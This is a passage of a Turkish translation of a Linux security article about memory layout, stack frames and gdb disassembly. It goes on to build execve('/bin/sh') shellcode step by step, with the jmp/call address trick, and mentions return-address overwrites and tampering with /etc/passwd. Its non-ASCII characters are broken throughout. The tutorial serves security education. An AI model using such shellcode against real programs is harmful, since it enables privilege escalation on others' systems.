Bu makalenin farkl� dillerde bulundu�u adresler: English Castellano Deutsch Francais Nederlands Russian Turkce Korean |
taraf�ndan Frédéric Raynal, Christophe Blaess, Christophe Grenier Yazar hakk�nda: Christophe Blaess ba��ms�z bir havac�l�k m�hendisi.O bir Linux merakl�s� ve bir�ok i�ini bu sistem yard�m�yla yap�yor.Linux D�k�mantasyon Projesi taraf�ndan yay�nlanan ki�isel sayfalar�n �evirisinin organizasyonunu yap�yor. Chritophe Grenier ESIEA'da be� y�ld�r ��renci ve ayn� zamanda burada sistem y�neticisi olarak �al���yor.Bilgisayar g�venli�ine kar�� bir tutkusu var. Frédéric Raynal bir�ok senedir Linux kullan�yorlar ��nk� o kirletmiyor, hormonlar� kullanm�yor, ne GMO ne de hayvansal ya�...sadece ter ve oyunlar. ��erik:
|
�zet:
Bu makale serileri uygulamalarda ortaya ��kan genel g�venlik sorunlar�n� vurgulamak amac�yla olu�turulmu�tur.Bu gibi istenmeyen sorunlar�n �e�itli geli�meler yard�m�yla nas�l a��laca��n� g�stermektedir.
Bu makale, haf�za organizasyonu/yay�l�m�, fonksiyon ve haf�za aras�ndaki ili�ki konular� �zerinde yo�unla�m��t�r.Son b�l�m kabuk kodu'nun nas�l olu�turulaca�� konusunu ele almaktad�r.
Talimat k�mesinden olu�an bir program d���nelim, makina koduyla ifade edilsin ( yazmak i�in kullan�lan dil g�zard� edilsin ),i�te biz bunlara binary diyoruz.Binary dosyas�n� derlerken program kayna�� de�i�kenleri, sabitleri ve talimatlar� tutar.Bu b�l�m binary dosyas�n�n de�i�ik b�l�mlerini haf�za yay�l�m�n� sunuyor.
Binary dosyas� �al��t���nda neler oldu�unu anlamak i�in, haf�za organizasyonuna bir bakal�m.De�i�ik alanlara itimat etmektedir :
Genellikle ama herzaman de�il, biz sadece bu makale i�in �nemli olan baz� b�lgelere yo�unla�aca��z.
size -A file --radix 16
komutu derlemek i�in gerekli
her bir alan�n boyutunu verir.Burdan haf�za adreslerini al�rs�n�z
(objdump
komutu bu bilgiye ula�mak i�in kullan�l�r).
Bu size
komutu binary olarak "fct":
>>size -A fct --radix 16 fct : section size addr .interp 0x13 0x80480f4 .note.ABI-tag 0x20 0x8048108 .hash 0x30 0x8048128 .dynsym 0x70 0x8048158 .dynstr 0x7a 0x80481c8 .gnu.version 0xe 0x8048242 .gnu.version_r 0x20 0x8048250 .rel.got 0x8 0x8048270 .rel.plt 0x20 0x8048278 .init 0x2f 0x8048298 .plt 0x50 0x80482c8 .text 0x12c 0x8048320 .fini ro 0x14 0x8048468 .data 0xc 0x804947c .eh_frame 0x4 0x8049488 .ctors 0x8 0x804948c .dtors 0x8 0x8049494 .got 0x20 0x804949c .dynamic 0xa0 0x80494bc .bss 0x18 0x804955c .stab 0x978 0x0 .stabstr 0x13f6 0x0 .comment 0x16e 0x0 .note 0x78 0x8049574 Total 0x23c8
text
alan� program talimatlar�n� tutmaktad�r.Bu alan
sadece-oku.Bu ayn� binary dosyas�n� �al��t�ran b�t�n i�lemler
aras�nda payla��ld�.Bu alana yazmaya te�ebb�s etmek segmentasyon
ihlali hatas�na sebep olur.
Di�er alanlar� a��klamadan �nce gelin C'deki de�i�kenler ile ilgili
birka� �ey s�yleyelim.global de�i�kenler t�m program da kullan�l�r
ancak local de�i�kenler sadece fonksiyonlarla birlikte kullan�l�r.
static de�i�kenler bilindik bir boyuta sahiptirler.Boyutlar� �e�itlerine
ba�l�d�r.�e�itleri ise �rne�in;char
, int
, double
,
i�aret�iler vs.Bir i�aret�ibir adres i�aret eder bir haf�za ile birlikte.Bu
bir PC tipi makinada 32bit 'tir.Bilinmeyen bir�ey varki o da derleme s�ras�nda
i�aret�inin hangi alana do�ru oldu�udur.Bir dynamic de�i�keni bir haf�za b�lgesi
ve bunlara i�aret eden i�aret�ileri (i�aret�inin kendisi de�il adresi) ifade eder.
Verilen i�lem i�in haf�za organizasyonuna geri d�nelim.data
alan� global duragan verileri saklar ( bu veri derleme zaman�n� sa�lar ),
bss
par�as� ba�ta yer almayan global verileri tutar.Bu alanlar
derleme zaman� i�in ayr�lm��t�r ve boyutlar� tuttuklar� nesnelere g�re
tan�mlanm��t�r.
Yerel ve dinamik de�i�kenler bir haf�za alan� i�inde grupland�r�l�r. Bu haf�za alan� program�n �al��mas� i�in ayr�lm��t�r.(user stack frame). Fonksiyonlar yard�ma �a�r�l�r, yerel de�i�kenler i�in geli�mi� �rnekler bilinmemektedir.Bunlar� tan�mlad���m�z zaman bunlar� bir stacki�ine koyaca��z.Bu y���t en y�ksek adreslerin �zerindedir ve LIFO modeline g�re �al���r(Last In, First Out).user frame alt�ndaki alan dinamik de�i�kenlerin tahsisine kullan�lm��t�r.Bu alan heap �eklinde tan�mlan�r ve i�aret�iler ve dinamik de�i�kenler taraf�ndan adreslenen haf�za alanlar�n� tutar.A��k�a g�r�l�yorki, bir i�aret�i 32bit ya BSS veya y���tta.Tahsis edildi�inde ilk ayr�lm�� byte'a kar�� gelen bir adres al�r.
S�radaki �rnek haf�zadaki de�i�ken yay�l�m�n� �rneklemektedir:
/* mem.c */ int index = 1; //in data char * str; //in bss int nothing; //in bss void f(char c) { int i; //in the stack /* Reserving de 5 characters in the heap */ str = (char*) malloc (5 * sizeof (char)); strncpy(str, "abcde", 5); } int main (void) { f(0); }
gdb
debugger t�m bunlar� onaylayacakt�r.
>>gdb mem GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb)
Gelin bu f()
fonksiyonuna bir aral�k
b�rakal�m ve program� bu noktayakadar �al��t�ral�m :
(gdb) list 7 void f(char c) 8 { 9 int i; 10 str = (char*) malloc (5 * sizeof (char)); 11 strncpy (str, "abcde", 5); 12 } 13 14 int main (void) (gdb) break 12 Breakpoint 1 at 0x804842a: file mem.c, line 12. (gdb) run Starting program: mem Breakpoint 1, f (c=0 '\000') at mem.c:12 12 }
�imdi de�i�kenlerin yerlerini g�rebiliyoruz.
1. (gdb) print &index $1 = (int *) 0x80494a4 2. (gdb) info symbol 0x80494a4 index in section .data 3. (gdb) print ¬hing $2 = (int *) 0x8049598 4. (gdb) info symbol 0x8049598 nothing in section .bss 5. (gdb) print str $3 = 0x80495a8 "abcde" 6. (gdb) info symbol 0x80495a8 No symbol matches 0x80495a8. 7. (gdb) print &str $4 = (char **) 0x804959c 8. (gdb) info symbol 0x804959c str in section .bss 9. (gdb) x 0x804959c 0x804959c <str>: 0x080495a8 10. (gdb) x/2x 0x080495a8 0x80495a8: 0x64636261 0x00000065
Komut 1 (print &index
) haf�za adresini index
global de�i�ken i�in g�steriyor.�kinci talimat (info
) birle�tirme
sembol� veriyor bu adres ve haf�zadaki yer i�in:index
, global
dura�an de�i�keni bu data
alanda saklanmaktad�r.
3.ve 4. talimatlar ba�ta gelmeyen dura�an de�i�kenleri nothing
,
BSS
par�as� i�inde yer almaktad�r.
5.sat�rda str
...komutu g�r�l�yor.Ger�ekte str
de�i�ken i�ermektedir, ve bu adres 0x80495a8
.Talimat 6 hi�bir
de�i�ken bu adreste tan�mlanmam��t�r.Komut 7 str
de�i�ken adresini
almaya izin verir ve komut 8 onu i�aret eder ve BSS
par�as�nda
bulunabilir.
9'da 4 byte adresteki haf�zaya kar�� gelir 0x804959c
:
Bu bir ayr�lm�� adresle birlikte k�meye kar�� gelir.10'un i�eri�inde
�u string vard�r "abcde" :
hexadecimal value : 0x64 63 62 61 0x00000065 character : d c b a e
Yerel de�i�kenler c
ve i
y���t�n i�inde yer
al�r.
size
komutu sayesinde boyutun geri d�nd���ne dikkat �ekmek
istiyoruz.Ancak programa bakt���m�zda farkl� alanlar bekledi�imiz gibi uyum
sa�lamaz.Bunun sebebi program �al��t�r�ld���nda k�t�phanede de�i�ik de�i�kenlerin
varolmas�d�r.(type info variables
under gdb
to get them all).
Her seferinde fonksiyon tan�mland���nda, yeni bir �evre terel
de�i�lenler i�in gerekli haf�za ile birlikte ve fonksiyon
parametreleri ile birlikte olu�turulur (burda environment
fonksiyon �al��t�r�l�rken t�m elementler g�r�lece�i manas�na gelir : arg�manlar�,
yerel de�i�kenleri,�al��an y���tlar�nda varolan geri d�n�� adresleri...fakat
bir �nceki makalede bahsetti�imiz kabuk de�i�kenleri i�in �evre de�il).
%esp
(extended stack pointer) kayd� en y�ksek y���t
adreslerini tutar.
Yerel de�i�kenlerin y���tlarla birlikte adresleri g�receli kar��l�k olarak
%esp
ifade edilebilir.Ba�l�klar herzaman eklenip ��kar�labilir
y���tlardan ve her de�i�kenin kar��l��� ayarlanabilir.Bu �ok etkisizdir.
�kinci kay�t�n kullan�lmas� �u geli�meye yol a�ar : %ebp
(geni�letilmi� taban i�aret�isi) ba�lang�� adresini tutar.B�ylece,
kay�tla ilgili offset a��klamak yeterli olur.Fonksiyon �al���rken
sabit kal�r.Parametreleri bulmak veya fonksiyonlar� yerel de�i�kenler ile
birlikte kolay de�ildir.
Y���tlar�n temel birimleri word : i386 CPU'lar �zerinde 32bit
ve 4 byte'd�r.�rne�in, Alpha CPU'lar� bir kelime i�in 64bit yer ay�r�r.
Y���tlar sadece kelimeleri y�netir.Bunun anlam� her yer ayr�lm�� de�i�ken
baz� kelime numaras� kullan�r.�lerde fonksiyonlar�n a��klamas�nda ayr�nt�l�
bir �ekilde g�rece�iz. str
g�steriminde de�i�ken gdb
kullan�l���n� i�erir.bir �nceki �rnek bunu �rnekliyor. gdb
x
komutu t�m c�mleyi g�steriyor (soldan sa�a oku little endian
a��klamas�na kadar.
Y���t 2 cpu talimat� taraf�ndan kontrol edilebilir :
push value
: azalt�r %esp
kelime ile birlikte,
bir sonraki kelimenin adresini almak i�in, saklanan value
komutun
arg�man olarak verilmesi gereklidir.Bu talimat y���t�n en �st noktas� �zerindeki
de�eri verir;pop dest
: adreste tutulan de�eri verir ve %esp
taraf�ndan i�aret edilir ve dest
'in i�inde bulunur ve bu kay�t
i�eri�ini y�kseltir.En y�ksekteki y���t ba�l���n� yerini de�i�tirir.Kay�tlar ger�ekte nedir?Onlar� yaln�zca birer �izici olarak g�rebilirsiniz, bir kelime serisinden olu�mu�lard�r.Her seferinde kayda yeni bir kelime girer ve eskisi kaybolur.Haf�za ve CPU aras�nda direk bir ileti�ime izin verir.
�lk olarak 'e
' kay�tlarda g�r�n�r ve "extended" manas�na
gelir ve 16bit ile 32bit aras�ndaki evrimi i�aret eder.
Kay�tlar d�rt s�n�fa ayr�l�rlar :
%eax
, %ebx
,
%ecx
ve %edx
veriyi y�netmek i�in kullan�l�r;%cs
, %ds
,
%esx
ve %ss
, haf�zan�n ilk par�as�n� tutar;%eip
(Extended Instruction Pointer) :bir sonraki talimat�n
�al��mas� i�in gerekli olan adresi i�aret eder;%ebp
(Extended Base Pointer) :fonksiyon i�in yerel �evrenin
ba�lang�c�n� i�aret eder;%esi
(Extended Source Index) :haf�za blo�unu kullanan
bir operasyondaki veri kayna��n�n kar��l���n� tutar;%edi
(Extended Destination Index) :haf�za blo�unu kullanan
bir operasyondaki var�lacak veri kar��l���n� tutar;%esp
(Extended Stack Pointer) :y���t�n en �st noktas�;/* fct.c */ void toto(int i, int j) { char str[5] = "abcde"; int k = 3; j = 0; return; } int main(int argc, char **argv) { int i = 1; toto(1, 2); i = 0; printf("i=%d\n",i); }
Bu b�l�m�n amac� yukar�da yer alan fonksiyonlar�n davran��lar�n� y���tlara ve kay�tlara dikkat ederek a��klamakt�r.Baz� sald�r�lar bir program�n �al��mas�n� de�i�tirebilirler.Bunlar� anlamak i�in nelerin d�zg�n �al��t���n� bilmek gereklidir.
Bir fonksiyonun �al��mas� �� a�amaya ayr�l�r :
push %ebp mov %esp,%ebp push $0xc,%esp //$0xc depends on each program
Bu �� talimat prolog'un dedilerini tap�yor.diagram 1
ayr�nt�lar� toto()
fonsiyonunun ba�lang�c�n�n %ebp
ve %esp
kay�t par�alar�n�n nas�l �al��t���n� a��klamaktad�r :
Ba�lang��ta, %ebp noktalar� haf�zada herhangi bir X adresini
i�aret eder.%esp y���tta en d���k yerdedir Y adresinde ve son y���t
giri� noktas�n� i�aret eder.Bir fonksiyon girildi�inde "ge�erli �evre" 'yi kaydetmek
zorundas�n�z.Bu %ebp 'dur.%ebp 'den beri y���t�n i�ine konur
ve %esp haf�za s�zc��� taraf�ndan azalt�l�r. |
|
Bu ikinci talimat fonksiyon i�in yeni bir "�evre" in�a edilmesini %ebp
kodunu y���t�n en ba��na konulmas� ile sa�lar.%ebp ve %esp
bir �nceki �evre adresini tutarlar ve ayn� haf�za noktas�n� i�aret ederler. |
|
�imdi yerel de�i�kenler i�in y���t bo�lu�u ayr�lm�� durumdad�r.Karakter
s�ras� be� ba�l�kla tan�mlanm��t�r ve 5 byte (bir char bir byte) yere ihtiya� vard�r.
Bununla birlikte y���tlar sadece words'� y�netirler ve sadece word'ten olu�an birka�
(1 word, 2 words, 3 words, ...) yer ay�r�rlar.4 byte yerine
5 byte word saklamak i�in 8 byte ( 2 words) kullanman�z gerekli.
String'in bir par�as� olmasa dahi bu par�a kullan�labilir.k tam say�
4 byte kullan�r.Bu bo�luk %esp 'un 0xc taraf�ndan azalt�lmas� i�in kullan�l�r.
Yerel de�i�kenler 8+4=12 byte kullan�rlar (�rne�in 3 s�zc�k). |
Bu mekanizmadan ba�ka burda hat�rlanmas� gereken �nemli bir nokta da
yerel de�i�kenlerin yeridir : yerel de�i�kenler %ebp
ile ilgili olarak negative gibi bir kar��l��a sahiptirler.
i=0
talimat� main()
fonksiyonu i�inde bunu �rnekler.Makine kodu
i
'yi �al��t�rmak i�in direkt olmayan bir adresleme y�ntemi kullan�r :
0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp)
0xfffffffc
heksedesimal -4
tam say�s�n� ifade eder.
Bu notasyonun anlam� 0
de�erini "-4 byte" �n bulundu�u %ebp
kayd�na yerle�tir. i
ilk ve tek yerel de�i�kendir main()
fonksiyonunun i�inde yer alan.B�ylece onun adresi 4 byte (�rne�in tam say�n� boyutu)
%ebp
kayd�n�n alt�ndad�r. Fonksiyonun ba��nda yap�ld��� gibi fonksiyon kendi �evresini haz�rlar, fonksiyon bu fonksiyona argumanlar�n� almas� i�in izin verir ve �a��ran fonksiyona geri d�nerek i�lemi bitirir.
�rnek olarak toto(1, 2);
�a�r�s�n� ele alal�m.
Fonksiyon �a��rmadan �nce argumanlar y���tta sakl� olmal�d�rlar.Bizim bu �rne�imizde,
iki sabit tam say� 1 ve 2 birinci y���tt�r ve sonuncuyla ba�lar. %eip
kayd� bir sonraki talimat�n adresini �al��mas� i�in tutar. |
|
push %eipBir arg�man gibi de�erlendirilip call 'e g�ndermek i�in bir
de�er verilmi�tir.Bu da talimat�n ba��ndaki toto() fonksiyonun
adresine kar��l�k gelir.Bu adres sonra %eip 'a kopyalan�r.B�ylece
yeni talimat �al��maya ba�lar. |
�lk �nce biz fonksiyonun i�indeyiz. 'nun arg�manlar� ve
geri d�nen adresin positive kar��l��� vard�r %ebp
ile
ilgili olan.Bir sonraki talimat bu kay�t� y���t�n en �st�ne yerle�tirir.j=0
talimat� toto()
'�n i�indedir.Fonksiyon bunu �rnekler.Makina kodu tekrar bu
indirekt adreslemeyi j
'yi �al��t�rmak i�in kullan�r :
0x80483ed <toto+29>: movl $0x0,0xc(%ebp)
0xc
heksedesimali +12
tam say�s�n� ifade eder.
Bu notasyon "+12 byte" da bulunan 0
de�erini ifade eder.
j
fonksiyonun ikinci arg�man�d�r ve 12 byte'�n en �st noktas�nda bulunur.
(4 talimat�n i�aret�isi, 4 birinci arg�man ve 4 ikinci arg�man i�in.)Bir fonksiyonu terketmek iki a�amada yap�l�r.�lk olarak,�evre fonksiyon i�in
temizlenmelidir (�rne�in %ebp
ve %eip
yerle�tirmek �a��rmadan �nce).
Y���t� kontrol etmemiz fonksiyon i�in gerekli bilgiyi almak i�in gereklidir.
Birinci ad�m fonksiyon ile birlikte at�lm�� oldu. :
leave ret
Bir sonraki fonksiyon ile yap�lacak olan �a�r�n�n yer tutmas� ve y���t�n yer te�kil etmesidir.
Bir �nceki �rne�i ta��yoruz toto()
fonksiyonu ilgili olan.
Burda ba�lang�� ko�ullar�n� a��kl�yoruz.�a�r�dan �nce %ebp
adreste yer al�r. X ve %esp , Y adresinde yer al�r.
Buradan fonksiyon argumanlar�n� biir kenara toplayarak %eip 'i ve %ebp 'i
kaydettik ve yerel de�i�kenlerimiz i�in bir k�s�m yer ay�rd�k.Bir sonraki �al��t�r�lan talimat
leave olacakt�r. |
|
The instruction leave is equivalent to the sequence :
Birincisimov ebp esp pop ebp %esp ve %ebp 'i al�r.�kincisi
%ebp kay�d�nda yer alan� y���t�n en �st�ne yerle�tirir.
Sadece bir talimatta (leave ), y���t ba�lang��s�z olabilir. |
|
ret talimat� %eip '� saklar.�a�r� fonksiyonunun
i�lemi bu yolla ba�lar.Bunun i�in %eip 'teki y���t� kald�rabiliriz.
Fonksiyonun arg�manlar� y���tta saklanana kadar ba�lang�� ko�ullar�na d�nmeyece�iz.
Onlar�n yerlerini dde�i�tirme bir sonraki talimat olacak. |
|
Parametrelerin y���t haline getirilmesi �a�r� fonksiyonunun i�erisinde yap�l�r.
Bu z�t diyagramda ay�ra�lar yard�m�yla �a�r� fonksiyonda bulunan talimatlar�n aras�nda
ve add 0x8 ile �a�r� fonksiyonunundaki %esp yard�m�yla �rneklenmi�tir.
Bu talimat %esp '� y���t�n en �st noktas�na verir toto()
fonksiyon parametresinin kullanabildi�i kadar kullanarak.%ebp ve
%esp kay�tlar� �imdi olay�n i�inde yer al�rlar.Di�er yandan %eip
talimat kayd�n�n yeri de�i�ir. |
gdb Makina kodunu almay� sa�lar main() ve toto() fonksiyonlar�na kar��l�k gelir :
Talimatlar (renk olmaks�z�n) bizim program talimatlar�m�za kar��l�k gelir.>>gcc -g -o fct fct.c >>gdb fct GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble main //main Dump of assembler code for function main: 0x80483f8 <main>: push %ebp //prolog 0x80483f9 <main+1>: mov %esp,%ebp 0x80483fb <main+3>: sub $0x4,%esp 0x80483fe <main+6>: movl $0x1,0xfffffffc(%ebp) 0x8048405 <main+13>: push $0x2 //call 0x8048407 <main+15>: push $0x1 0x8048409 <main+17>: call 0x80483d0 <toto> 0x804840e <main+22>: add $0x8,%esp //return from toto() 0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp) 0x8048418 <main+32>: mov 0xfffffffc(%ebp),%eax 0x804841b <main+35>: push %eax //call 0x804841c <main+36>: push $0x8048486 0x8048421 <main+41>: call 0x8048308 <printf> 0x8048426 <main+46>: add $0x8,%esp //return from printf() 0x8048429 <main+49>: leave //return from main() 0x804842a <main+50>: ret End of assembler dump. (gdb) disassemble toto //toto Dump of assembler code for function toto: 0x80483d0 <toto>: push %ebp //prolog 0x80483d1 <toto+1>: mov %esp,%ebp 0x80483d3 <toto+3>: sub $0xc,%esp 0x80483d6 <toto+6>: mov 0x8048480,%eax 0x80483db <toto+11>: mov %eax,0xfffffff8(%ebp) 0x80483de <toto+14>: mov 0x8048484,%al 0x80483e3 <toto+19>: mov %al,0xfffffffc(%ebp) 0x80483e6 <toto+22>: movl $0x3,0xfffffff4(%ebp) 0x80483ed <toto+29>: movl $0x0,0xc(%ebp) 0x80483f4 <toto+36>: jmp 0x80483f6 <toto+38> 0x80483f6 <toto+38>: leave //return from toto() 0x80483f7 <toto+39>: ret End of assembler dump.
Bazen y���tlarda varolan i�lemlere m�dehale etmek m�mk�nd�r.Bunu yapman�n yolu fonksiyonun geri d�n�� adresinin �zerine yeniden yazmakt�r ve keyfi kodlar ile uygulama �al��mas� yapmakt�r.Bu �zellikle k�r�c�lar i�in ilgin�tir e�er uygulama kullan�c�dan farkl� bir ID 'de �al���yorsa.Bu tip bir hata bir bak�ma tehlikeli olabilir e�er uygulama bir d�k�man okumaysa ve ba�ka bir kullan�c� taraf�ndan ba�lat�labiliyorsa.
Sonraki makalelerde talimatlar�n uygulanmas�ndaki mekanizm �zerine konu�aca��z.
Burda biz kod �zerine �al���yoruz ki bunu ana uygulama �zerinden �al��t�rmay� istiyoruz.
En basit ��z�m kabu�u �al��t�rmak i�in bir miktar koda sahip olmakt�r.Okuyucu kendini di�er
di�er uygulamalar i�in �rne�in /etc/passwd
dosyas�n�n haklar�n� de�i�tirme
konusunda e�itebilir.Baz� nedenlerden dolay� ki bunlar gelecekte a��k�a g�r�lecektir,bu program
Makine dilinde yap�lmak zorundad�r.Bu tip k���k programlar kabu�u �al��t�rma kaibliyitine sahiptir
ve bunlara genellikle shellcode ad� verilir.
�rneklerde Aleph One'�n makalesinden esinlenilmi�tir "Smashing the Stack for Fun and Profit" Phrack magazin No:49.
Kabuk kodunun amac� kabu�u �al��t�rmakt�r.Bir sonraki C program� bunu �rneklemektedir :
/* shellcode1.c */ #include <stdio.h> #include <unistd.h> int main() { char * name[] = {"/bin/sh", NULL}; execve(name[0], name, NULL); return (0); }
Fonksiyon k�melerinin aras�nda kabu�a �a�r� g�nderme kabiliyeti vard�r.
Bir�ok sebep execve()
'�n kulllan���n� do�rular.�lk olarak,
O bir do�ru sistem �a�r�s�d�r ve di�er exec()
ailesinden olan fonksiyonlara
benzemez.Bunlar GlibC k�t�phanesinin fonksiyonlar�d�r ve execve()
'den in�a
edilmi�lerdir.Bu kadar kay�t tan�mlamas� ve onlar�n i�erikleri �zerine konu�mak yeterlidir.
Bundan ba�ka e�er execve()
ba�ar�l�rsa �a�r� program� (burda ana uygulamad�r)
yeni program�n �al��t�r�labilir koduyla de�i�tirilir. execve()
�a�r�s� ba�ar�s�zl��a
u�rsd���nda program uygulamas� devam eder.�rne�imizde kod hareket uygulamas�n�n tam ortas�ndac yer al�r.
Uygulama ile devam etmek anlams�z ve hatta zaral� dahi olabilir.Uygulama ayr�ca olabildi�i �l��de h�zl�
olmak zorundad�r. return (0)
programdan ��kma izni verir ve sadece bu talimat main()
fonksiyonundan �a�r�ld��� zaman bu beklendi�i gibi burada olmayacakt�r.
/* shellcode2.c */ #include <stdio.h> #include <unistd.h> int main() { char * name [] = {"/bin/sh", NULL}; execve (name [0], name, NULL); exit (0); }
exit()
yine bir
k�t�phane fonksiyonudur.Yeni bir de�i�iklik bizim sisteme daha yak�n olmam�z� sa�lad� :
/* shellcode3.c */ #include <unistd.h> #include <stdio.h> int main() { char * name [] = {"/bin/sh", NULL}; execve (name [0], name, NULL); _exit(0); }�imdi program�m�z� Makine dilindeki kar��l��� ile birle�tirme zaman�m�z geldi.
gcc
ve gdb
'yi Makine dili talimatlar�n� program�n kar��l�klar�n�
al�rken kullan�yoruz.Gelin shellcode3.c
'u derleyelim (debug opsiyonu yard�m�yla).
(-g
) program� b�t�nleme a��s�ndan normalde payla��lm�� k�t�phanelerde bulunur.�imdi
_exexve()
ve _exit()
'yi anlamak i�in bilgiye ihtiyac�m�z vard�r.
$ gcc -o shellcode3 shellcode3.c -O2 -g --staticSonra
gdb
ile bizim fonksiyonlar�m�z�n Makine kar��l�klar�na bakaca��z.
Bu Linux i�indir.
$ gdb shellcode3 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main Dump of assembler code for function main: 0x8048168 <main>: push %ebp 0x8048169 <main+1>: mov %esp,%ebp 0x804816b <main+3>: sub $0x8,%esp 0x804816e <main+6>: movl $0x0,0xfffffff8(%ebp) 0x8048175 <main+13>: movl $0x0,0xfffffffc(%ebp) 0x804817c <main+20>: mov $0x8071ea8,%edx 0x8048181 <main+25>: mov %edx,0xfffffff8(%ebp) 0x8048184 <main+28>: push $0x0 0x8048186 <main+30>: lea 0xfffffff8(%ebp),%eax 0x8048189 <main+33>: push %eax 0x804818a <main+34>: push %edx 0x804818b <main+35>: call 0x804d9ac <__execve> 0x8048190 <main+40>: push $0x0 0x8048192 <main+42>: call 0x804d990 <_exit> 0x8048197 <main+47>: nop End of assembler dump. (gdb)�imdi haf�zan�n i�eri�ini bu adresten a��klamaya �al��al�m :
(gdb) printf "%s\n", 0x8071ea8 /bin/sh (gdb)�imdi string'in ne oldu�unu g�rd�k.
execve()
ve _exit()
fonksiyonlar�na bakal�m :
(gdb) disassemble __execve Dump of assembler code for function __execve: 0x804d9ac <__execve>: push %ebp 0x804d9ad <__execve+1>: mov %esp,%ebp 0x804d9af <__execve+3>: push %edi 0x804d9b0 <__execve+4>: push %ebx 0x804d9b1 <__execve+5>: mov 0x8(%ebp),%edi 0x804d9b4 <__execve+8>: mov $0x0,%eax 0x804d9b9 <__execve+13>: test %eax,%eax 0x804d9bb <__execve+15>: je 0x804d9c2 <__execve+22> 0x804d9bd <__execve+17>: call 0x0 0x804d9c2 <__execve+22>: mov 0xc(%ebp),%ecx 0x804d9c5 <__execve+25>: mov 0x10(%ebp),%edx 0x804d9c8 <__execve+28>: push %ebx 0x804d9c9 <__execve+29>: mov %edi,%ebx 0x804d9cb <__execve+31>: mov $0xb,%eax 0x804d9d0 <__execve+36>: int $0x80 0x804d9d2 <__execve+38>: pop %ebx 0x804d9d3 <__execve+39>: mov %eax,%ebx 0x804d9d5 <__execve+41>: cmp $0xfffff000,%ebx 0x804d9db <__execve+47>: jbe 0x804d9eb <__execve+63> 0x804d9dd <__execve+49>: call 0x8048c84 <__errno_location> 0x804d9e2 <__execve+54>: neg %ebx 0x804d9e4 <__execve+56>: mov %ebx,(%eax) 0x804d9e6 <__execve+58>: mov $0xffffffff,%ebx 0x804d9eb <__execve+63>: mov %ebx,%eax 0x804d9ed <__execve+65>: lea 0xfffffff8(%ebp),%esp 0x804d9f0 <__execve+68>: pop %ebx 0x804d9f1 <__execve+69>: pop %edi 0x804d9f2 <__execve+70>: leave 0x804d9f3 <__execve+71>: ret End of assembler dump. (gdb) disassemble _exit Dump of assembler code for function _exit: 0x804d990 <_exit>: mov %ebx,%edx 0x804d992 <_exit+2>: mov 0x4(%esp,1),%ebx 0x804d996 <_exit+6>: mov $0x1,%eax 0x804d99b <_exit+11>: int $0x80 0x804d99d <_exit+13>: mov %edx,%ebx 0x804d99f <_exit+15>: cmp $0xfffff001,%eax 0x804d9a4 <_exit+20>: jae 0x804dd90 <__syscall_error> End of assembler dump. (gdb) quit�ekirdek �a�r�s�
0x80
�zerinden 0x804d9d0
adresinde
execve()
i�in ve 0x804d99b
adresinde _exit()
i�in yap�l�r.Bu giri� noktas� al���ld�kt�r. execve()
'a bakt���m�zda onun
0x0B
de�erinin oldu�unu ve _exit()
'nun 0x01
de�erinin
oldu�unu g�r�r�z.
Bu fonksiyonlar�n analizi Makine talimatlar�d�r ve bunlar�n kullan�l��� parametreler yard�m�yla sa�lan�rlar :
execve()
needs various parameters (cf. diag 4) :
%ebx
kayd� string adresini tutar ve bu adresler komutlar�
ifade eder �al��t�rmak i�in ;%ecx
kayd� argumanlar�n adreslerini tutar.�lk arguman
program�n ad� olmak zorundad�r ve ba�ka hi�bir seye ihtiyac�m�z yoktur ;%edx
kayd� array adreslerini tutar ve program�n �evresinin
harekete ge�mesini sa�lar.Program �rne�imizi saklamak i�in bo� bir �evre kullanaca��z :
Bu NULL i�aret�isidir._exit()
fonksiyonu �al��may� durdurur ve uygulama kodunu genellikle kabu�a
geri g�nderir ve %ebx
register i�erisinde tutar ;"/bin/sh
" string'ine ihtiyac�m�z vard�r, bir i�aret�i bu
string'e ve NULL i�aret�isine. execve()
�a�r�s�ndan sonra olas�
bir veriyi sunabiliriz.Bir array in�a etmek i�in bir i�aret�iyle birlikte /bin/sh
string'ine NULL i�aret�isini takiben, %ebx
string'i i�aret
edecektir.
Kabuk kodu genellikle savunmas� zor program�n komut sat�r� �zerinden arguman
ile bir �evre de�i�keni veya yaz�lm�� bir string ile
yerle�tirilebilir.Herneyse, kabuk kodu olu�turuldu�unda kullanaca�� adresi
bilmiyoruz.Bununla birlikte "/bin/sh
" string'inin adresini
bilmemiz gerekmektedir.K���k bir oyun bunu ��renmemizi sa�layabilir.
call
talimat�n� �a��r�rken CPU geri d�n�� adresini
y���tta saklar ve bu adres call
talimat�n� takip eder.
Genellikle, bir sonraki ad�m y���t b�l�m�nde saklanmaktad�r (�zellikle
%ebp
kayd� ile birlikte push %ebp
talimat�)
Geri d�n�� adresini almak i�in subroutine i�ine girildi�inde pop
talimat�n�n y���t halinden ��kar�lmas� yeterlidir.Elbette "/bin/sh
"
string'ini saklamam�z gereklidir :
beginning_of_shellcode: jmp subroutine_call subroutine: popl %esi ... (Shellcode itself) ... subroutine_call: call subroutine /bin/sh
Elbette subroutine ger�ek de�ildir: execve()
�a�r�s�
ba�ar�r ve uygulama kabukla yer de�i�tirir veya ba�ar�s�zl��a u�rar ve
_exit()
fonksiyonu program� sonland�r�r. %esi
kayd� bize "/bin/sh
" string adresini verir.Daha sonra bir array
in�a etmek string'ten sonra getirmekle m�mk�nd�r :
popl %esi movl %esi, 0x8(%esi) movl $0x00, 0xc(%esi)
6 diyagram� veri alan�n� g�sterir :
Savunulmas� zor fonksiyonlar genellikle string y�netimi ile ilgili olanlar
�rne�in strcpy()
'dir.Hedef uygulaman�n tam ortas�na kodu
yerle�tirmek i�in kabuk kodu string �eklinde kopya edilmesi gereklidir.Bununla
